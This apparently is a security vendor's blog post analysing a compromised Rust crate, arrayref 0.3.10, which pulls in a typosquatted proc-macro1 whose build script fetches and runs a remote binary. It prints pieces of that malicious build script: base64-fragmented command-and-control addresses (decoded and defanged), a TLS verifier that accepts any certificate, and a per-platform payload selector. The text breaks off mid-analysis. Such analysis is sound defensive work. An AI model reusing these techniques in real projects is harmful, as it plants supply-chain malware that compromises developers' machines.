Monitor every AI coding agent action across your projects and workflows.
Documentation SDK API Threat Intelligence Hub
Product Pricing How it works Blog
Resources
Documentation SDK API Threat Intelligence Hub
Back
Discover & Monitor
[
SCA & SBOM Scan dependencies, generate SBOMs, enforce policy.
Block malicious packages at install-time.
Block malicious packages in your pipeline.
Block threats inside your AI coding agent.
Threat intelligence API for custom agents.
Package events & AI inventory in the cloud.
Centralized policies, dashboard, compliance.
Scan and govern your dependencies across every PR and build.
Block malicious packages at install-time, before they enter your codebase.
Generate AI-enriched BOMs using real code evidence, not just manifests.
Monitor every AI coding agent action across your projects and workflows.
1.5k ](/sca)
document.addEventListener(“click”,e=>{const s=document.getElementById(“mobile-nav”),n=document.getElementById(“mobile-menu-toggle”);!s?.contains(e.target)&&n&&(n.checked=!1)});const t=document.getElementById(“mobile-main-nav”),d=e=>{t?.classList.add(“hidden”),e?.classList.remove(“hidden”)},i=e=>{e?.classList.add(“hidden”),t?.classList.remove(“hidden”)},c=document.getElementById(“mobile-solutions-trigger”),o=document.getElementById(“mobile-solutions-submenu”),l=document.getElementById(“mobile-solutions-back”);c?.addEventListener(“click”,()=>d(o));l?.addEventListener(“click”,()=>i(o));
Malicious Rust Crate arrayref Runs a Build-Time Payload
SafeDep Team • Aug 20, 2026 • 7 min read
On this page 6 sections
On this page
On August 20, 2026, a compromised release of the popular Rust crate arrayref appeared on
crates.io. Version 0.3.10 added a dependency on a typosquatted crate called
proc-macro1, whose build script downloads and runs a remote binary while a project compiles.
The code runs at build time, so simply compiling a project that pulled the bad versions is enough
to trigger it. The crates.io team has since removed the malicious versions.
The genuine arrayref and append-only-vec crates are maintained by droundy, whose account
appears to have been compromised. The corresponding GitHub repositories are no longer available.
github.com/droundy/arrayref,
github.com/droundy/append-only-vec, and the entire github.com/droundy account all return 404,
so the upstream code is no longer available for inspection. A separate account, dtolney, proc-macro1.
The username closely resembles David Tolnay’s real dtolnay account. Its metadata forges
authors = ["David Tolnay <[[email protected]](/cdn-cgi/l/email-protection)>"] and points repository at a
dtolnay/proc-macro1 path that returns 404.
Note that proc-macro1 is not proc-macro2. The real crate that macro authors depend on is
proc-macro2. The src/ of the malicious proc-macro1
is a genuine copy of proc-macro2, so builds kept working while the build script ran.
The payload lives in the build script of proc-macro1 1.0.107. It stores its server address as
base64 fragments and reassembles them at build time, quoted in the advisory:
`
1
// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)
2
const SRC_URL_PARTS: &[&str] =
3
&[“aHR0cHM6Ly8=”, “MjMuMjU0Lg==”, “MTY1Lg==”, “MTEyOg==”, “OTA4OS8=”];
4
const END_URL_PARTS: &[&str] =
5
&[“MjMuMjU0Lg==”, “MTY1Lg==”, “MTEyOg==”, “NDQz”];
`
Decoded, those fragments produce the payload host hxxps://23[.]254[.]165[.]112:9089/ and the
command and control address 23[.]254[.]165[.]112:443. The script fetches an architecture-specific
binary over a TLS connection that accepts any certificate without validation, then runs it detached
from the build. On Unix it drops and runs /tmp/rust-setup. On Windows it writes a PowerShell
script and a VBScript launcher under %TEMP% and starts them hidden, then abandons
the child process so the compiler does not wait for it.
The owner account yanked the older arrayref releases 0.3.5 through 0.3.9. Yanking a
crate makes Cargo print a “consider updating to a version that is not yanked” warning, which nudges
developers toward the only non-yanked release, the malicious 0.3.10. The reporter who filed the
RustSec advisory noted this is how they hit
it.
arrayref is widely used as a transitive dependency. It sits deep in common Rust graphs through
tiny-skia, sctk-adwaita, and winit, which places it under most GUI work built on egui,
eframe, and iced. The crate has about 245 million all-time downloads (244,989,384 at time of
writing), with the clean 0.3.9 release accounting for roughly 152 million. Those numbers measure
how widely the crate is used rather than a count of affected builds.
Our technical analysis covers the two crates behind this incident, arrayref 0.3.10 and
proc-macro1 1.0.107. arrayref 0.3.10 pulls in a dependency called proc-macro1. The malicious
code is in the build script of proc-macro1, not in arrayref itself.
arrayref is a small crate of four macros. Up to 0.3.9 it has no build script and no runtime
dependencies. Version 0.3.10 keeps that macro source and adds one line to the manifest:
`
1
[package]
2
name = “arrayref”
3
version = “0.3.10”
4
build = false
5
6
[dependencies.proc-macro1]
7
version = “1.0.107”
`
This [dependencies.proc-macro1] entry is sufficient to introduce the malicious crate. The requirement 1.0.107 is a caret
range, and with only 1.0.106 and 1.0.107 ever crate’s own src/lib.rs is the ordinary macro code, for example the array_ref! macro:
`
1
#[macro_export]
2
macro_rules! array_ref {
3
($arr:expr, $offset:expr, $len:expr) => {{
4
{
5
#[inline]
6
const unsafe fn as_array
7
&*(slice.as_ptr() as *const [_; $len])
8
}
9
let offset = $offset;
10
let slice = &$arr[offset..offset + $len];
11
#[allow(unused_unsafe)]
12
unsafe {
13
as_array(slice)
14
}
15
}
16
}};
17
}
`
{{ { #[inline] const unsafe fn as_array(slice: &[T]) -> &[T; $len] { &*(slice.as_ptr() as *const [_; $len]) } let offset = $offset; let slice = &$arr[offset..offset + $len]; #[allow(unused_unsafe)] unsafe { as_array(slice) } } }};}">
Nothing in the arrayref source references proc-macro1, and it does not need to. Cargo builds
every declared non-optional dependency, whether or not the code uses it. So the manifest entry alone
makes Cargo fetch and build proc-macro1 whenever a project pulls in arrayref 0.3.10, and building
it runs the malicious build script.
The src/ of proc-macro1 is proc-macro2 with a mechanical find-and-replace of proc-macro2 to
proc-macro1. The rename reaches into documentation links and even copied issue references, for
example html_root_url = "https://docs.rs/proc-macro1/1.0.107" in src/lib.rs and a
github.com/dtolnay/proc-macro1/issues/235 link in src/fallback.rs. Because the library code is
real proc-macro2, the crate works as a drop-in. This makes the malicious crate less noticeable
during a normal build.
`
1
authors = [“David Tolnay <[email protected]>”]
2
repository = “https://github.com/dtolnay/proc-macro1"
`
“]repository = “https://github.com/dtolnay/proc-macro1"">
The email [[email protected]](/cdn-cgi/l/email-protection) is not David Tolnay’s, and the dtolnay/proc-macro1 repository
returns 404. The suspicious difference is in the build dependencies, which real proc-macro2 does not
have:
`
1
[build-dependencies.base64]
2
version = “0.22”
3
4
[build-dependencies.rustls]
5
version = “0.23”
6
features = [“ring”, “std”, “tls12”]
7
default-features = false
8
9
[build-dependencies.ureq]
10
version = “2”
11
features = [“tls”]
12
default-features = false
`
Those three crates give the build script base64 decoding, a TLS stack, and an HTTP client. These dependencies are unusual for a token-parsing library, and the malicious build script uses them.
The build script splits the server address into base64 fragments and rebuilds it at compile time, so the raw string never appears in the source:
`
1
const SRC_URL_PARTS: &[&str] = &[“aHR0cHM6Ly8=”, “MjMuMjU0Lg==”, “MTY1Lg==”, “MTEyOg==”, “OTA4OS8=”];
2
const END_URL_PARTS: &[&str] = &[“MjMuMjU0Lg==”, “MTY1Lg==”, “MTEyOg==”, “NDQz”];
`
Decoded, SRC_URL_PARTS is hxxps://23[.]254[.]165[.]112:9089/ and END_URL_PARTS is
23[.]254[.]165[.]112:443.
The download uses a TLS client that accepts any certificate. The AcceptAll verifier returns
success from every certificate and signature check in the rustls ServerCertVerifier trait, so a
self-signed certificate on the raw IP passes:
`
1
impl ServerCertVerifier for AcceptAll {
2
fn verify_server_cert(/* … */) -> Result<ServerCertVerified, rustls::Error> {
3
Ok(ServerCertVerified::assertion())
4
}
5
// verify_tls12_signature and verify_tls13_signature also return success unconditionally
6
}
`
Result { Ok(ServerCertVerified::assertion()) } // verify_tls12_signature and verify_tls13_signature also return success unconditionally}">
The build script picks the binary to fetch by operating system and architecture. It supports four targets and aborts the build on anything else:
`
1
fn link_suffix() -> &‘static str {
2
match (std::env::consts::OS, std::env::consts::ARCH) {
3
(“linux”, “x86_64”) => “rust-crate_0.1.0”,
4
(“windows”, “x86_64”) => “rust-crate_0.2.0”,
5
(“macos”, “x86_64”) => “rust-crate_0.3.0”,
6
(“macos”, “aarch64”) => “rust-crate_0.4.0”,
7
(_, _) => panic!(“unsupported platform”),
8
}
9
}
`
&‘static str { match (std::env::consts::OS, std::env::consts::ARCH) { (“linux”, “x86_64”) => “rust-crate_0.1.0”, (“windows”, “x86_64”) => “rust-crate_0.2.0”, (“macos”, “x86_64”) => “rust-crate_0.3.0”, (“macos”, “aarch64”) => “rust-crate_0.4.0”, (_, _) => panic!(“unsupported platform”), }}">
The download and execution run inside main, before the feature gate and the genuine proc-macro2
configuration logic that follows. There is no feature flag or environment check guarding it, so it
runs on every build on a supported platform:
1.5k